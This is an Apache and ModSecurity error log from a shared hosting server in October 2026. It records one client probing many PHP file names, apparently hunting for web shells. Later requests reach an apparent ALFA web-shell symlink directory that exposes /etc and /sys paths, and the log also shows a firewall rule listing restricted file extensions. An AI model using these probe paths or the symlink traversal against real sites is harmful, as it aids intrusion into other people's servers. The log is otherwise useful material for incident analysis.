[Mon Oct 26 16:31:09.664787 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.747345 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.871547 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.951197 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.991526 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.032412 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.076319 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.156048 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.196254 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.236724 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.277383 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.297362 2026] [security2:error] [pid 3085795:tid 3085795] [client 20.151.218.88:19346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/1ac.php"] [unique_id "at-4jl3BHaKovmquNkFq6AAAAAA"]
[Mon Oct 26 16:31:10.297410 2026] [security2:error] [pid 3085795:tid 3085795] [client 20.151.218.88:19346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/1ac.php"] [unique_id "at-4jl3BHaKovmquNkFq6AAAAAA"]
[Mon Oct 26 16:31:10.317640 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.358916 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.400796 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.441215 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.482989 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.523242 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.563633 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.604006 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.646259 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.691420 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.732894 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.775798 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.817147 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.857177 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.898275 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.939466 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:10.979933 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.020690 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.061113 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.103946 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.147632 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.188342 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.229069 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.250318 2026] [security2:error] [pid 3085795:tid 3085795] [client 20.151.218.88:19346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/222.php"] [unique_id "at-4j13BHaKovmquNkFq_wAAAAA"]
[Mon Oct 26 16:31:11.250409 2026] [security2:error] [pid 3085795:tid 3085795] [client 20.151.218.88:19346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/222.php"] [unique_id "at-4j13BHaKovmquNkFq_wAAAAA"]
[Mon Oct 26 16:31:11.274567 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.316747 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.357453 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.398907 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.440452 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.482656 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.523156 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.563121 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.603253 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.643623 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.683373 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.723831 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.765652 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.806582 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.846702 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.888478 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.928932 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:11.969574 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.010677 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.051227 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.108268 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.149612 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.190192 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.230479 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.250759 2026] [security2:error] [pid 3085795:tid 3085795] [client 20.151.218.88:19346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/min.php"] [unique_id "at-4kF3BHaKovmquNkFrFwAAAAA"]
[Mon Oct 26 16:31:12.250796 2026] [security2:error] [pid 3085795:tid 3085795] [client 20.151.218.88:19346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/min.php"] [unique_id "at-4kF3BHaKovmquNkFrFwAAAAA"]
[Mon Oct 26 16:31:12.271023 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.311383 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.357294 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.398862 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.440305 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.481439 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.522010 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.562602 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.602950 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:12.928610 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.417383 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.457387 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.497667 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.538102 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.578755 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.619645 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.660188 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.700436 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.740958 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.781445 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.942251 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:13.983369 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.066740 2026] [security2:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/wp-includes/js/tinymce/"] [unique_id "at-4khjIL9Z3tuLhXUCvJAAAAAc"]
[Mon Oct 26 16:31:14.066777 2026] [security2:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/wp-includes/js/tinymce/"] [unique_id "at-4khjIL9Z3tuLhXUCvJAAAAAc"]
[Mon Oct 26 16:31:14.108424 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.149471 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.190557 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.233633 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.274797 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.316994 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.359401 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.400098 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.441514 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.524873 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.608854 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.650123 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.692104 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.773740 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.814696 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.856103 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.897634 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.938346 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:14.979917 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:15.021464 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:15.062887 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:15.108422 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:15.149869 2026] [proxy_fcgi:error] [pid 3065807:tid 3065807] [client 20.151.218.88:19438] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:18.842872 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.225.138.57:29424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:31:30.237519 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.210.213.220:11129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:31:34.260835 2026] [ssl:error] [pid 3082381:tid 3082381] (5)Input/output error: [client 3.94.156.104:25969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:31:38.203006 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 34.225.243.131:41705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:31:50.191539 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.22.87.224:19182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:06.175337 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.218.170.184:4872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:06.420172 2026] [security2:error] [pid 3058816:tid 3058816] [client 16.216.88.188:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/460_mod_userdir.conf"] [unique_id "at-4xs-doU5lRL_NAI8QJwAAAAE"]
[Mon Oct 26 16:32:06.420641 2026] [security2:error] [pid 3058816:tid 3058816] [client 16.216.88.188:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/460_mod_userdir.conf"] [unique_id "at-4xs-doU5lRL_NAI8QJwAAAAE"]
[Mon Oct 26 16:32:06.421019 2026] [security2:error] [pid 3058816:tid 3058816] [client 16.216.88.188:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/460_mod_userdir.conf"] [unique_id "at-4xs-doU5lRL_NAI8QJwAAAAE"]
[Mon Oct 26 16:32:11.289582 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.84.131.195:17121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:15.681946 2026] [authz_core:error] [pid 3082381:tid 3082381] [client 109.105.209.79:49230] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:32:16.274848 2026] [core:crit] [pid 3089355:tid 3089355] (13)Permission denied: [client 158.173.167.207:60469] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 16:32:17.812319 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 158.173.167.207:59235] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:32:19.241344 2026] [authz_core:error] [pid 3058816:tid 3058816] [client 158.173.167.207:29473] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:32:22.185015 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 107.22.208.39:26971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:22.326057 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 185.191.171.13:14840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:03.0/resource1
[Mon Oct 26 16:32:26.182341 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.90.8.255:42155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:30.179725 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.221.203.24:32479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:34.250297 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 23.21.228.180:44130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:38.260289 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.192.67.98:12942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:32:54.314343 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 3.221.244.28:6788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/0000:00:05.0/remove
[Mon Oct 26 16:32:58.189821 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 3.219.80.71:52191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:04/subsystem/drivers/pvpanic/bind
[Mon Oct 26 16:33:10.356893 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.21.119.232:36651] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:33:10.357111 2026] [security2:error] [pid 3089355:tid 3089355] [client 23.21.119.232:36651] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/memory23/online"] [unique_id "at-5Bml9busrkyxI7OQWcQAAAAI"]
[Mon Oct 26 16:33:10.357136 2026] [security2:error] [pid 3089355:tid 3089355] [client 23.21.119.232:36651] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/memory23/online"] [unique_id "at-5Bml9busrkyxI7OQWcQAAAAI"]
[Mon Oct 26 16:33:18.222214 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.195.145.102:55907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:33:24.000573 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.6:55354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/shrink
[Mon Oct 26 16:33:26.174741 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 35.169.240.53:38355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:33:46.208739 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.213.106.226:55483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:33:50.314510 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.205.113.104:47535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:33:54.177883 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 34.206.249.188:29361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:33:58.422263 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 23.21.225.190:24140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:02.282982 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.236.135.14:6333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/"] [unique_id "at-5OqFL9aMETz-8AU8eJgAAAAQ"]
